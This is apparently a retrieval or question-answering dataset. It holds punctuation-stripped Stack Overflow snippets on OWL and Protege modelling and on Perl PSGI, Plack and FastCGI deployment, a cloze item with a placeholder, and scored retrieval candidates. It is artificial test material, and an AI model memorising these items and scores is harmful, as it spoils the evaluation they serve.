it by creating an object property hasData like inupt hasData SensingData or do i have to use the annotation property .. . Answer : You can create hasData as an object property with domain Input and range SensingData . Comment : no i have process class which has two sub classes input and output and sensing data and sensor is a different class . Comment : ok then the second part of my answer is irrelevant", "Question : In OWL this query works fine .. . .. . it works fine and it gives me all persons who have more than 3 children .. . .. . but this one does not work .. . .. . it should give me all persons who have less than 3 children however it does not work .. . .. . does any one have an idea about this why min works while max does not give any results Thanks Comment : typo : more than 3 - 3 or more Comment : typo : less than 3 - less than 4 .. . Answer : To add to Kaarel s points and comment on your example query a reasoner will look at the asserted triples you have and ask could there be other asserted triples which I don t have at the moment that assert this person has additional children which will put them over the three child limit Since the answer to this question is maybe the reasoner will be unable to infer as a fact that the person in your example has a maximum of three children . Negative assertions are quite hard for a reasoner to prove due to the open world assumption . Your person must not have more than three children query bumps into this issue . To achieve what you re looking for you could assert that the person types a class of parents who have three children or less . Then again if you did that you probably wouldn t need the query in the first place .", "Question : I am trying to add restrictions to properties in an ontology using Protege3.x . I have a problem specifying enumerations inside restrictions . For example trying to specify a enum to restrict the possible data elements in this way : .. . .. . enter image description here http : i.stack.imgur.com bw1vq.png .. . .. . which considers the whole expression as a single string : .. . .. . enter image description here http : i.stack.imgur.com 8AvlI.png .. . .. . In another example I tried solving the problem by using multiple expressions and or between them which seems to be appropriate . But in the previous one no or is allowed . enter image description here http : i.stack.imgur.com e5tqC.png .. . .. . How is it possible to use enumerations for this need Thanks Comment : If you re trying to do OWL modeling Protege 4 is a far better option than Protege 3 imo . Comment : Thanks Micheal I ve found this issue is easily solved in protege 4 . .. . Answer : The issue is solved using Protege 4 . The following expression was used in the class Superclasses attribute :", "Question : I have a data properties hasCode that can assume one of this values : .. . .. . 1i .. . 2i .. . 3i .. . 4i .. . .. . What is the expression that I have to write for get this restriction enter image description here http : i.stack.imgur.com tOIr2.jpg .. . .. . Thank you so much .. . Answer : 1 xsd : int 2 xsd : int 3 xsd : int 4 xsd : int .. . .. . This should do the trick . Note : there s a bug in Protege 5 beta 21 that will not make this work . Either use Protege 5 beta 17 or wait for the next beta for this to work properly .", "Question : null .. . Answer : I have following ontology created through protege : .. . .. . A.owl .. . .. . I want to add domain B or A A or B to name but protege gives error to add it . A or B : enter image description here http : i.stack.imgur.com W2F69.jpg .. . .. . B or A : enter image description here http : i.stack.imgur.com R0NgA.jpg Question : how to remove the error .. . .. . Note : I have class named A and object property named A - This is done using punning for some cases ." ] }
[ "yes-answer-long", "yes-answer-short" ]
manchester-syntax
UNK_RELATION
psgi@interface@54
psgi -- psgi perl web server gateway interface is an @placeholder between web servers and perl-based web-applications and frameworks that allows writing portable applications that can be run as standalone servers or using cgi fastcgi mod perl etc .
{ "confidence": [ 81.59886932373047, 71.32479095458984, 67.9538803100586, 66.99833679199219, 65.54230499267578, 65.23907470703125, 64.68321228027344, 59.404354095458984, 58.78880310058594, 56.427207946777344, 55.319698333740234, 54.495849609375, 54.13270568847656, 52.90435791015625, 52.8165168762207, 52.69454574584961, 52.53573989868164, 51.996891021728516, 51.3785400390625, 51.34986114501953, 51.29841995239258, 51.229515075683594, 51.091617584228516, 50.766090393066406, 50.50806427001953, 50.05229187011719, 50.03630828857422, 48.97509765625, 48.785797119140625, 48.61756134033203, 48.319183349609375, 47.12459945678711, 46.64799118041992, 45.6965217590332, 45.29815673828125, 44.851722717285156, 44.77979278564453, 44.46910858154297, 44.45915222167969, 44.30078125, 44.30078125, 44.30078125, 44.03498840332031, 43.81401824951172, 43.64624786376953, 43.40959930419922, 43.345096588134766, 43.22716522216797, 42.925941467285156, 42.6899528503418, 42.6899528503418, 42.6899528503418, 42.6899528503418, 42.6899528503418, 42.49216079711914, 41.63044738769531, 41.39194107055664, 41.26926803588867, 40.96499252319336, 40.94624328613281, 40.8089599609375, 40.11534881591797, 40.05750274658203, 39.87340545654297, 39.851707458496094, 39.84952163696289, 39.84952163696289, 39.79644012451172, 39.79644012451172, 39.79644012451172, 39.63917541503906, 39.63086700439453, 39.51530075073242, 39.5128288269043, 38.76778793334961, 38.604427337646484, 38.604427337646484, 38.604427337646484, 38.604427337646484, 38.604427337646484, 38.604427337646484, 38.4860954284668, 37.94548416137695, 37.921993255615234, 37.921993255615234, 37.921993255615234, 37.908504486083984, 37.66484069824219, 37.5219612121582, 37.5219612121582, 37.28459548950195, 37.08547592163086, 37.06834411621094, 36.712799072265625, 36.5805549621582, 36.41804122924805, 36.11341094970703, 36.07405090332031, 35.91404724121094, 35.83720397949219 ], "content": [ "You can run CGI applications under the PSGI-servers by using CGI : : PSGI but you can t run an PSGI application as plain CGI-script .", "You run your perl-app what is written with PSGI under fgci or standalone perl-server and such .", "IMHO the easiest way run develop and deploy too any perl-web-app is using PSGI .", "If you can run a PSGI app in mod perl with a FastCGIs server as CGI or youc an run onw of the native PSGI servers like plack etc .", "This is further described here : http : suryahunter.com wiki hunter perl ironman mount multiple apps with plack .. . .. . If you in general use PSGI Plack then you can use any Web server also Starman or other Perl Web Servers .", "I am practicing with Perl and PSGI Plack .", "This should work with Starman and any PSGI supported web servers .", "It s actually a PSGI web application .", "So you need to install an apache module that implements PSGI or employ a Perl module the CGI : : PSGI docs suggest CGI : : Emulate : : PSGI http : search.cpan.org perldoc CGI 3A 3AEmulate 3A 3APSGI that will accept your PSGI list and convert to CGI for you .", "I am trying to understand implementations options for server-side Websocket endpoints - particularly in Perl using PSGI Plack and I have a question : Why are all server-side websocket implementations based around event-driven PSGI servers Twiggy Tatsumaki etc .", "I think this question is not really a sysadmin question since it involves converting apache mod-rewrite rules to Perl code inside a PSGI compliant web framework .", "CGI and PSGI are two different specifications of how a web server and an external program communicate .", "Can you confirm that the app runs correctly via Plack : : App : : CGIBin using a perl-based webserver like Starman or HTTP : : Server : : PSGI", "From the docs of Test : : WWW : : Mechanize : : PSGI http : search.cpan.org dist Test-WWW-Mechanize-PSGI lib Test WWW Mechanize PSGI.pm : .. . .. . This module allows you to test PSGI web-applications but does not require a server or issue HTTP requests .", "Use Plack : : App : : URLMap to setup a virtualhost in Starman or whatever PSGI compatible web servers : .. . .. . in generate app you can setup configure whatever needed to return a new PSGI app .", "Sub-question Is the idea of PSGI all about letting the web server do as little and as fast as possible and delegating all the other stuff to application servers middleware", "Answer to your subquestion : PSGI makes it easy to write web application which do not depend on a specific web server .", "We have many isolated installations of a PSGI app that run on the same machine and thus require their PSGI servers to run on unique ports .", "Oh I understand that but I was asking something else Yes we can run PSGI application using various backends using different run handlers - FCGI CGI Embedded PSGI servers like Starman and etc etc .", "But FastCGI and the stand-alone PSGI servers like Starman tend to be handled by the reverse proxy or started and stopped by hand .", "Now in short : .. . .. . Is it possible to somehow setup name-based virtual-hosts with Starman or with any other pure perl PSGI server like with Apache s VirtualHost .. . directive", "I have a lot of CGI web-applications under apache2 which have complex jQueryUI powered interfaces and corresponding perl backend based upon CGI : : Application framework .", "Take a look at perl dancer http : www.perldancer.org it has psgi support and is a very lightweight framework .", "Please explain the difference between unsing FastCGI and PSGI with f.e .", "I plan develop one web application with PSGI Plack .", "I want to be able to run any .psgi automatically under the PSGI protocol .", ".. . If you re writing a web application not a framework then you re encouraged to use one of the web application frameworks that support PSGI http : plackperl.org frameworks or see modules like HTTP : : Engine to provide higher level Request and Response API on top of PSGI .", "CGI - is one specification what uses the Apache and or other web-servers .", "How can I call it under PSGI protocol like : .. . .. . I mean how to enable .psgi to run under PSGI protocol .", "I have PSGI apps that are deployed in a CGI framework .", "I checked many of different PSGI based frameworks in the MetaCPAN .", "I ve been programming on Perl for a long time I ve always used CGI technology to build my applications .", "I highly recommend Mojo : : Server : : PSGI http : metacpan.org module Mojo : : Server : : PSGI", "Whereas in FastCGI and PSGI your app is started only once .", "You do not run a PSGI program the same way you run a CGI program .", "I am trying out Starman and other PSGI servers such as HTTP : : Server : : PSGI and can t figure out any way to set configuration parameters such as alias to directories .", "I know that PSGI has adaptors for cgi fcgi mod perl but you did not answer the question what is the benefit from using psgi to run fcgi app under it is not it better to run the fcgi app direct under the fcgi instead of the middle ware of psgi your explanation says that the psgi only benefit is the same app can run under any of these protocols this means that if I want to run the app under fcgi then no need to think about the psgi at all am I correct", "Do I need to convert mod-rewrite rules to Plack : : Middleware : : Rewrite rules and move all the app logic fully to Perl to get the full benefits of PSGI", "Having any PSGI based app e.g .", "I ve got a CGI script that I want to convert to PSGI .", "This worked in CGI but for some reason PSGI doesn t pass this variable .", "So CGI s self- read from client .. . does not notice changes : .. . .. . see PSGI : : CGI", "More documentation on the PSGI support with Catalyst is available with perldoc Catalyst : : PSGI .", "Since the proxy is the gateway to the applications in the back-end it can handle the authentication on the HTTP layer and pass back sessions as needed to the Perl script using the proxy entry .", "There are various underlying mechanisms you can use to deploy a web application written in Perl .", "Instead of writing a CGI app or a mod perl app or a FCGI app you write an app that targets the PSGI protocol .", "I am modernising a Perl-based system for a client .", "I am using CGI : : Simple in a simple application that I want it to support PSGI I am not going to use any ready made frameworks I did a lot of search a bout PSGI support for CGI : : Simple but did not find any module on CPAN .", "It works for standalone scripts but when running inside of Twiggy Perl crashes .", "But it works with one psgi app .", "The benefit of PSGI is deployment flexibility .", "Here is my psgi initialization :", "This is the problem that PSGI solves .", "PSGI is another specification .", "Under PSGI the web server expects the program to return a three element list consisting of the HTTP response code the HTTP Response headers and the HTML rendered by the program .", "unfortunately I am not using any frameworks just need a raw method to send the file through PSGI .", "Well there are plenty of other advantages to writing your program to the PSGI spec .", "Instead write your program to the PSGI http : plackperl.org interface .", "Fortunately the app works under Plack s HTTP interface proxied from Apache via mod-proxy s ProxyPass but unfortunately it breaks under the FastCGI interface see : Can PSGI apps fork under Plack : : Handler : : FCGI http : stackoverflow.com questions 14643165 can-psgi-apps-fork-under-plackhandlerfcgi .", "That s the point of PSGI - it works everywhere :", "In the end CGI FastCGI mod perl whichever you chose your program had to understand how to get at the data passed to it by the web server and that s the crux of the matter nearly every post-CGI technology defines it s own way of passing data to from the program the GI in PSGI still stanbds for Gateway interface but provides an adapter to convert it s preferred way to the CGI model to help make adoption easier .", "Now until FCGI is splitted out of Plack the question is therefore what is the best possible way to run a PSGI application using FastCGI outside of Apache", "My first thought is to write a PSGI application and trigger the application using curl .", "Catalyst s run method would actually run the HTTP server via Plack PSGI", "But if you run app with some PSGI compliant server this server is listening some port .", "dance It also runs under PSGI .", "Currently the PSGI app is running on Twiggy .", "Another approach is to run the different PSGI apps in a single process .", "@daliaessam you didn t run the fcgi app under PSGI .", "run your PSGI app behind reverse proxy or 2 .", "Whereas in FastCGI and PSGI your app is started only once and responds to requests from a persistent state .", "For example something like .. . .. . Existing frameworks based om PSGI might provide better alternatives for routing requests based om HTTP method .", "That is a ton of Perl packages .", "On the one hand i know that PSGI app is backend-agnostic so it can be runned using different methods - FastCGI CGI etc But on the other hand i know that for example in FastCGI application we need to do some manipulation with FCGI : : Request object before after fork .", "With PSGI you got an standard what allows many cool things such using Plack : : Middlewares a like .", "But for PSGI it depends on how the app has been deployed .", "Instead it passes the HTTP request object directly to PSGI .", "Matt Trout mentioned LWP : : Protocol : : PSGI as a workaround .", "For PSGI app you dont need apache .", "There s no API to get this in the current PSGI spec by design .", "okay understand the bind - but the PSGI prints an URL e.g .", "I see that PSGI uses env instead of param because it also does other stuff than CGI .", "Will be the pure perl solution better faster", "Since PSGI is a specification you can use it in all of those situations .", "How can a PSGI application be served with many concurrent connections", "Every PSGI app can be mounted multiple times framework or not .", "It can be a standalone CGI program .. . It can run under mod perl .. . It can run under FcGI .. . etc .. .", "If you have multiple applications deployed to the same host having a single perl library for all applications means that upgrading dependencies can be dangerous without retesting every application of the host .", "This is why frameworks like Catalyst http : www.catalystframework.org and Dancer http : www.perldancer.org now target PSGI http : plackperl.org .", "It seems that your actual question is Which PSGI frameworks support reading different config files depending on the HTTP host", "Exists any solution with Starman or other pure-perl server", "I have a psgi test application on a linux centos with cpanel shared-hosting .", "To me PSGI seems like a framework that provides a common interface between different Apache modules which lets you move your application between them .", "I have seen but not understood PHP implementations of Websocket servers so why cant the same be done with PSGI without having to change the server to an event-driven one", "By luck I found someone on this site http : d.hatena.ne.jp tociyuki 20100131 1264918747 with a module named CGI : : Simple : : PSGI which does not exist on CPAN .", "Looking for a way how to run the same PSGI app for multiple requests what aren t defined by the mount prefix .", "Tying yourself to the system perl means that you are at the mercy of your distribution to make or break your perl in Centos 5 we have a max perl version of 5.8.8", "We ve got a FastCGI-based web framework that we use internally for some mission-critical apps .", "perl.org about whitepapers perl-plack.html http : www.perl.org about whitepapers perl-plack.html might be of interest", "What are the best practices for deploying a Perl application" ] }
{ "confidence": [ 122.2315444946289, 110.70604705810547, 109.61231994628906, 105.52273559570312, 99.370849609375, 99.27631378173828, 98.3585433959961, 94.4386215209961, 93.59712219238281, 93.50911712646484, 92.10546875, 91.56275939941406, 88.89837646484375, 86.20036315917969, 85.02839660644531, 81.48699951171875, 76.08062744140625, 73.63998413085938, 72.97437286376953, 72.35679626464844 ], "content": [ "Question : I ve been programming on Perl for a long time I ve always used CGI technology to build my applications . Now I think to rebuild them and write new ones on FCGI . Please explain the difference between unsing FastCGI and PSGI with f.e . Starman . Also I m asking to explain what Perl frameworks which use FCGI are in trend today I understood that I can force my CGI scripts to work as FCGI scripts using CGI : : Fast . Are there any other modules to do this Thank you Comment : Catalyst supports FastCGI transparently . .. . Answer : It is important to understand that CGI is a standard definition of how an information server passes data to a separate program http : tools.ietf.org html draft-robinson-www-interface-00 . The Common Gateway Interface CGI is a simple interface for running external programs software or gateways under an information server in a platform-independent manner . Currently the supported .. . information servers are HTTP servers . .. . The interface has been in use by the World-Wide Web since 1993 . This specification defines the interface known as CGI 1.1 and its use .. . on the Unix R and AmigaDOS tm systems . In the standard model the web server starts the external program each time it needs one marshals the data into the standard format and passes it to the program either as part of the environment or via the external program s Standard input depending on the HTTP Method GET POST etc . used . The program processes the data returns it s data by printing headers and content to Standard Output and then exits . The main drawback to CGI has always been the expense of starting the external program on each invocation . On Unix this requires the web server to create a copy of itself in memory fork and then have the external program overlayed on the copy exec . The fork exec cycle is computationally expensive especially when you re talking about a large Apache process multi-MB memory-footprint overlayed with a Perl interpreter which then needs to parse the Perl program before it can be run . In order to remove the fork exec cycle from the equation a couple of new things were developed . Mod perl embeds the Perl interpreter into the apache process removing the need to fork exec on each invocation and also allowed for caching of parsed perl programs . Numbers reported by various organizations put the increase in throughput at anywhere form 20 to 100 times more than CGI . A second method called FastCGI was also developed around the same time . In FastCGI an external program often a container or an application server is started at the same time that the http server is started and the http server proxies requests to the FastCGI process . This model provides the same benefits of removing the fork exec cycle and has a set of pros cons that are different from mod perl . In the end CGI FastCGI mod perl whichever you chose your program had to understand how to get at the data passed to it by the web server and that s the crux of the matter nearly every post-CGI technology defines it s own way of passing data to from the program the GI in PSGI still stanbds for Gateway interface but provides an adapter to convert it s preferred way to the CGI model to help make adoption easier . I m not sure if I ve answered your question at all but thanks for asking it . I enjoyed writing this answer -", "Question : I ve been programming on Perl for a long time I ve always used CGI technology to build my applications . Now I think to rebuild them and write new ones on FCGI . Please explain the difference between unsing FastCGI and PSGI with f.e . Starman . Also I m asking to explain what Perl frameworks which use FCGI are in trend today I understood that I can force my CGI scripts to work as FCGI scripts using CGI : : Fast . Are there any other modules to do this Thank you Comment : Catalyst supports FastCGI transparently . .. . Answer : You re looking at this from the wrong perspective . Don t think about how you are going to deploy the program . Instead write your program to the PSGI http : plackperl.org interface . Then you ll be able to deploy your application in any environment - CGI FastCGI mod perl etc . without having to change anything . You can write raw PGSI using modules like Plack : : Request https : metacpan.org pod Plack 3a 3aRequest and Plack : : Response https : metacpan.org pod Plack 3a 3aResponse but you d be better advised to use a framework like Dancer http : perldancer.org or Catalyst http : www.catalystframework.org . If you have existing CGI programs that you want to run in a PSGI environment then see Plack : : App : : WrapCGI https : metacpan.org pod Plack 3a 3aApp 3a 3aWrapCGI . Comment : I think there s a bit more to consider . Namely that running in CGI means re-loading your app for every request . Whereas in FastCGI and PSGI your app is started only once and responds to requests from a persistent state . So a CGI app is optimized to avoid unnecessary code while an FCGI or PSGI app will be optimized for persistence and do a lot of work at start-up time . Comment : Whereas in FastCGI and PSGI your app is started only once . That s true for FastCGI of course . But for PSGI it depends on how the app has been deployed . I have PSGI apps that are deployed in a CGI framework . It s sub-optimal but it works . That s the point of PSGI - it works everywhere :", "Question : What I know about the FCGI protocol is the first time the application is called it loads it into memory run it return the response to the server finish the response but does not end the application it keeps it running in memory then next requests will use this compiled in memory copy of the application to process the request . Reading about the PSGI protocol it seems to be working the same way . My question is is my assumption correct they are the same regarding the application speed to requests per second . the confusing issue also if they work the same why I see plackup has command-line option to enable FCGI . .. . Answer : You re asking for a comparison between apples and fruit . Your question doesn t make much sense . There are various underlying mechanisms you can use to deploy a web application written in Perl . It can be a standalone CGI program .. . It can run under mod perl .. . It can run under FcGI .. . etc .. . The problem is that for each deployment mechanism you need to change the way that your program is written . This means that you need to know that you re say targetting mod perl before you start writing the code . It also means that moving an application between these various deployment methods is non-trivial . This is the problem that PSGI solves . Instead of writing a CGI app or a mod perl app or a FCGI app you write an app that targets the PSGI protocol . You can the deploy exactly the same app under CGI mod perl or FcGI or many other deployment methods . If you deploy your PSGI app using the FCGI handler then it will work the same way as a FCGI app . But later on it s simple to move it to run as a mod perl app . Or to run it as a standalone server using something like Starman . Does that help at all Comment : I know that PSGI has adaptors for cgi fcgi mod perl but you did not answer the question what is the benefit from using psgi to run fcgi app under it is not it better to run the fcgi app direct under the fcgi instead of the middle ware of psgi your explanation says that the psgi only benefit is the same app can run under any of these protocols this means that if I want to run the app under fcgi then no need to think about the psgi at all am I correct Comment : @daliaessam you didn t run the fcgi app under PSGI . You run your perl-app what is written with PSGI under fgci or standalone perl-server and such . With PSGI you got an standard what allows many cool things such using Plack : : Middlewares a like . IMHO the easiest way run develop and deploy too any perl-web-app is using PSGI . Comment : Well there are plenty of other advantages to writing your program to the PSGI spec . A huge ecosystem of middleware plugins for a start . Comment : @daliaessam If you write to PSGI http : plackperl.org you don t have to modify your code if you change backends . This is why frameworks like Catalyst http : www.catalystframework.org and Dancer http : www.perldancer.org now target PSGI http : plackperl.org . For them it means they don t have to maintain the code to target more than one backend which they used to do .", "Question : I run this cgi.pl in apache server as http : localhost cgi-bin cgi.pl .. . .. . but I cant able to run the converted psgi.pl in apache server its displaying please help Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request . Please contact the server administrator at admin@example.com to inform them of the time this error occurred and the actions you performed just before this error . More information about this error may be available in the server error-log . Comment : CGI - is one specification what uses the Apache and or other web-servers . PSGI is another specification . You can run CGI applications under the PSGI-servers by using CGI : : PSGI but you can t run an PSGI application as plain CGI-script . For PSGI app you dont need apache . if want use apache you could : 1 . run your PSGI app behind reverse proxy or 2 . use Plack : : Handler : : Apache2 or such.. . Comment : More information about this error may be available in the server error-log - That sounds like it might be a clue . What does the server error-log say Comment : I can able to run it now using plack : : runner module .. . Answer : CGI and PSGI are two different specifications of how a web server and an external program communicate . Under CGI the web server expects to receive text output from the program consisting of the HTTP Response headers a blank-line and the HTML rendered by the program . The CGI module implements this logic for the apache server and if the output from the program does not comply apache reports the 500 error . Under PSGI the web server expects the program to return a three element list consisting of the HTTP response code the HTTP Response headers and the HTML rendered by the program . So you can see that a program conforming to the PSGI spec would confuse the mod cgi . So you need to install an apache module that implements PSGI or employ a Perl module the CGI : : PSGI docs suggest CGI : : Emulate : : PSGI http : search.cpan.org perldoc CGI 3A 3AEmulate 3A 3APSGI that will accept your PSGI list and convert to CGI for you .", "Question : I plan develop one web application with PSGI Plack . probaly with Dancer but not decided yet . The applicatiion should be utf8 multilingual with Locale : : Maketext and ofc will contain some statical pages in the given language . My idea is deploy it in different language domains like en.example.com de.example.com etc . The application itself is simple mostly will only fill templates with localized texts and some other light functionality . What is the best solution to deploying one application for mutiple language-based sub-domains in one physical machine My current research ended with this solution : need to use Apache and its name based virtual servers for every language subdomain . Questions : .. . .. . What is the best solution Exists any solution with Starman or other pure-perl server If yes how Reverse proxy Will be the pure perl solution better faster should i consider some other solution fcgi nginx etc.. . .. . .. . Any other ideas things what can have impact to development itself .. . Answer : I didn t think there is a best way just many different ways and every one have pros cons . Setting up Apache like you did is possible and i don t see why this should be a bad way . Another way is to mount every application to path . This is further described here : http : suryahunter.com wiki hunter perl ironman mount multiple apps with plack .. . .. . If you in general use PSGI Plack then you can use any Web server also Starman or other Perl Web Servers . Which one you use is up to you . Use the one where you think it has the best performance or the one which you knew the best . Also think that when you start up your server you probably want to automatically start your application and Apache Nginx LightTPD .. . already have startup scripts . If you also want to host other websites then it is probably better to use one of these Webservers . I prefer FastCGI for running your application . With FastCGI your application run independent from your Web Server and can also run with other user rights instead of mod perl where all application runs under the same user as the Apache User . It also gives you the advantage that you can restart a application without restarting the complete Web Server Apache . Well and through that independent you probably need more RAM to run the same amounts of application because you start your applications multiple times instead of use the sharing that gives you Apache mod perl . In the end it depends on your needs for what is better .", "Question : We ve got a FastCGI-based web framework that we use internally for some mission-critical apps . Thus moving to an existing PSGI-complaint framework is not very practical . We ve successfully moved our framework over from plain old CGI.pm to Plack handlers . However there is quite a lot of routing logic in the form of mod-rewrite rules inside Apache s config file . If we were to deploy the apps that use our newly PSGI compliant framework using Plack : : Handler : : FCGI via reverse proxy in Apache I suppose the mod-rewrite rules can continue to work there with some tweaks . Planning to do this but haven t tried yet . However reading about Plack : : Middleware : : Rewrite as a replacement for mod-rewrite has intrigued me . Do I need to convert mod-rewrite rules to Plack : : Middleware : : Rewrite rules and move all the app logic fully to Perl to get the full benefits of PSGI .. . .. . I think the answer is yes but I ve got no experience deploying PSGI apps so I ll appreciate it if some can share their experience to make sure that I m going down the right path . Sub-question Is the idea of PSGI all about letting the web server do as little and as fast as possible and delegating all the other stuff to application servers middleware Comment : I think this question is not really a sysadmin question since it involves converting apache mod-rewrite rules to Perl code inside a PSGI compliant web framework . I m asking this from the perspective of a framework implementor . Comment : Answer to your subquestion : PSGI makes it easy to write web application which do not depend on a specific web server . So if you need this then try to do as much as possible within PSGI . .. . Answer : The benefit of PSGI is deployment flexibility . As long as you have rules in mod-rewrite you are stuck with Apache and therefore not getting the full benefit of PSGI . However as long as you are happy with Apache I don t see a strong motivation to rewrite all of your rules . If mod-rewrite is giving you headaches then go for it . Also consider putting your routing logic in your main app-code with something like Router : : Simple https : metacpan.org module Router 3a 3aSimple or Path : : Router https : metacpan.org module Path 3a 3aRouter .. . .. . BTW unless you are really attached to FastCGI there probably no reason to use Plack : : Handler : : FCGI . Keep Apache as your reverse proxy and your app runs in Starlet or one of the other Plack web servers .", "Question : I have been trying to decide if my web project is a candidate for implementation using PSGI but I don t really see what good it would do for my application at this stage . I don t really understand all the fuss . To me PSGI seems like a framework that provides a common interface between different Apache modules which lets you move your application between them . e.g Easily move your application from running on mod perl to fastcgi and provide the application support for running on both options . Is that right or have I missed something As I and the team I am a part of not only develop the application but also pretty much do maintenance and setup of servers I don t see the value for us of being able to run on fastcgi cgi and mod perl we do just fine with just mod perl . Have I misunderstood the PSGI functionality or is it just not suitable for my project Comment : lists.scsys.co.uk pipermail catalyst 2011-March 026738.html http : lists.scsys.co.uk pipermail catalyst 2011-March 026738.html Comment : perl.org about whitepapers perl-plack.html http : www.perl.org about whitepapers perl-plack.html might be of interest .. . Answer : Forget the Apache bit . It s a way of writing your application so that the choice of webserver becomes less relevant . At work we switched to Plack PSGI after finding our app running with very high CPU load after upgrading to Apache2 - benchmarking various Apache configs and NYTProf ing were unable to determine the reason and using PSGI and the Starman webserver worked out much better for us . Now everything is handled in one place by our PSGI app URL re-writes static content expiry headers etc rather than Apache configuration so it s a Perl and b easily tested via our standard t scripts . Also our tests are now testing exactly what a user sees rather than just the basic app itself . It may well not be relevant to you if you re happy with Apache and mod perl and I m sure others will be able to give much better answers but for us not having to deal with anything Apache-related again is such a relief in itself . The ease of testing and the ability to just stick in a Data : : Dumper and see what s going on rather than wrestling with ModRewrite and friends is a great boon .", "Question : I have been trying to decide if my web project is a candidate for implementation using PSGI but I don t really see what good it would do for my application at this stage . I don t really understand all the fuss . To me PSGI seems like a framework that provides a common interface between different Apache modules which lets you move your application between them . e.g Easily move your application from running on mod perl to fastcgi and provide the application support for running on both options . Is that right or have I missed something As I and the team I am a part of not only develop the application but also pretty much do maintenance and setup of servers I don t see the value for us of being able to run on fastcgi cgi and mod perl we do just fine with just mod perl . Have I misunderstood the PSGI functionality or is it just not suitable for my project Comment : lists.scsys.co.uk pipermail catalyst 2011-March 026738.html http : lists.scsys.co.uk pipermail catalyst 2011-March 026738.html Comment : perl.org about whitepapers perl-plack.html http : www.perl.org about whitepapers perl-plack.html might be of interest .. . Answer : Started wrote an answer and after 50 lines I deleted it . Simply because it is impossible tell in short why is PSGI extremely cool . I m new in PSGI too but zilion things now are much easier as before in my apache mod perl era . I can give you next advices : .. . .. . 1 . read the Plack advent calendar http : advent.plackperl.org 2009 12 day-1-getting-plack.html - all days step-by-step . You must understand the basic philosophy what is good on onions and so on.. . : .. . 2 . search CPAN for Plack : : Middleware : : - and read the first few lines in each . Here are MANY . Really should be somewhere some short overview for each one unfortunately don t know any faster way . Simply it is good to know what middlewares are already developed . For example you sure will need the Plack : : Middleware : : Session or Plack : : Middleware : : Static and so on.. . .. . 3 . read about Plack : : Builder already done when you done with the advent calendar : .. . 4 . try write some apps with it and will find than Plack is like the first sex - now you didn t understand that you could live without it . ps : If was here something like Perl Oscar will sure nominating MyiagavaSan . : Comment : Funny answer but describes the main points . One more thing : the best thing on PSGI is the easy layering of your application . This is important not only for development but for deployment maintenance too .", "Question : I have a such question - what is a right way to fork in PSGI Plack application On the one hand i know that PSGI app is backend-agnostic so it can be runned using different methods - FastCGI CGI etc But on the other hand i know that for example in FastCGI application we need to do some manipulation with FCGI : : Request object before after fork . So what i must to do 1 . Just fork : .. . 2 . Do some magic manipulations and fork What manipulations 3 . Rewrite application architecture move all heavy operations into external daemon process . .. . Answer : Since PSGI is a specification you can use it in all of those situations . If you can run a PSGI app in mod perl with a FastCGIs server as CGI or youc an run onw of the native PSGI servers like plack etc . How you start them obviously depends on which one you choose . Mod perl lives and dies by its apache process CGI scripts do not to be externally started . But FastCGI and the stand-alone PSGI servers like Starman tend to be handled by the reverse proxy or started and stopped by hand . Leaving it up to the proxy and the PSGI server s configuration is easiest although sometimes you ll want to be able ot control the external processes independently of the proxy . Comment : Oh I understand that but I was asking something else Yes we can run PSGI application using various backends using different run handlers - FCGI CGI Embedded PSGI servers like Starman and etc etc . But how can i fork in my app - when i don t know in what enviroment my app runned but this current enviroment may be require some special initialization for proper forking Comment : Forking your app is handled by the container . For all intents the FCGI process is your app the Starman service is your app . They act as containers of your code and as the interface between the proxy and your code . For instance if you choose Apache FastCGI you tell apache how many fastcgi processes to fork and which URIs to pass to the fastcgi servers . You don t manually fork your app . Comment : You are totally right but i asking about something else : Perhaps is guilty my bad english I was asking about manual fork in my application . For example - app recv some request and must perform some heavyweight operation that can be very time consuming . So i create child-process using fork call and run this operation in child-process . The questions about IPC how the user get result when is done etc - let stay behind the scene . The main problem is this manual fork call . Comment : Look at the IPC family of modules on CPAN they are high level interprocess communication libraries . Comment : You can use one to fork your process on a bidirectional pipe so your processes can interact . But your overall architecture will depend on how long those long requests are . Youmight be better off enqueuing the long job and then having a separate worker to process the queue . but communicating back will also depend . Maybe the long job adds a db record that the web client can query at a later time .", "Question : I have been trying to decide if my web project is a candidate for implementation using PSGI but I don t really see what good it would do for my application at this stage . I don t really understand all the fuss . To me PSGI seems like a framework that provides a common interface between different Apache modules which lets you move your application between them . e.g Easily move your application from running on mod perl to fastcgi and provide the application support for running on both options . Is that right or have I missed something As I and the team I am a part of not only develop the application but also pretty much do maintenance and setup of servers I don t see the value for us of being able to run on fastcgi cgi and mod perl we do just fine with just mod perl . Have I misunderstood the PSGI functionality or is it just not suitable for my project Comment : lists.scsys.co.uk pipermail catalyst 2011-March 026738.html http : lists.scsys.co.uk pipermail catalyst 2011-March 026738.html Comment : perl.org about whitepapers perl-plack.html http : www.perl.org about whitepapers perl-plack.html might be of interest .. . Answer : Borrowing from a recent blog post by chromatic Why PSGI Plack Matters Testing http : www.modernperlbooks.com mt 2011 03 why-psgiplack-matters-testing.html here s what it is : .. . .. . It s a good idea borrowed from Python s WSGI and Ruby s Rack but made Perlish it s a simple formalizing of a pattern of web application development where the entry-point into the application is a function reference and the exit point is a tuple of header information and a response body . .. . That s it . That s as simple as it can be and that simplicity deceives a lot of people who want to learn it . An important benefit is ibid . .. . .. . Given a Plack application you don t have to deploy to a web server even locally to test your application as-if it were deployed Plack and TWMP http : search.cpan.org perldoc Test 3a 3aWWW 3a 3aMechanize 3a 3aPSGI and Plack : : Test http : search.cpan.org perldoc Plack 3a 3aTest use the well-defined Plack pattern to make something which was previously difficult into something amazingly easy . They re not the first and they won t be the last but they do demonstrate the value of Plack .", "Question : null .. . Answer : I am modernising a Perl-based system for a client . This system runs on Windows Strawberry Perl connects to a database and calls some scripts which in turn run other programs . My first thought is to write a PSGI application and trigger the application using curl . My initial experiments seem to be working although only using the Twiggy server . Thrall leaks memory badly and forking servers like Starman don t work on Windows . I d like to improve the system further by running the other external commands in parallel . I ve tried using AnyEvent or Parallel : : ForkManager . It works for standalone scripts but when running inside of Twiggy Perl crashes . My question is : how can I execute external commands in parallel so that Twiggy or an alternative server if this is an issue with Twiggy so that it doesn t crash Comment : I highly recommend Mojo : : Server : : PSGI http : metacpan.org module Mojo : : Server : : PSGI Comment : I m having a problem with software crashing and would like to know about similar software that doesn t crash . What s wrong with asking about alternative libraries Comment : I ve edited it to remove the explicit request for library recommendations . Comment : Then edit the title as well . Comment : @ivan pozdeev Done", "Question : I plan develop one web application with PSGI Plack . probaly with 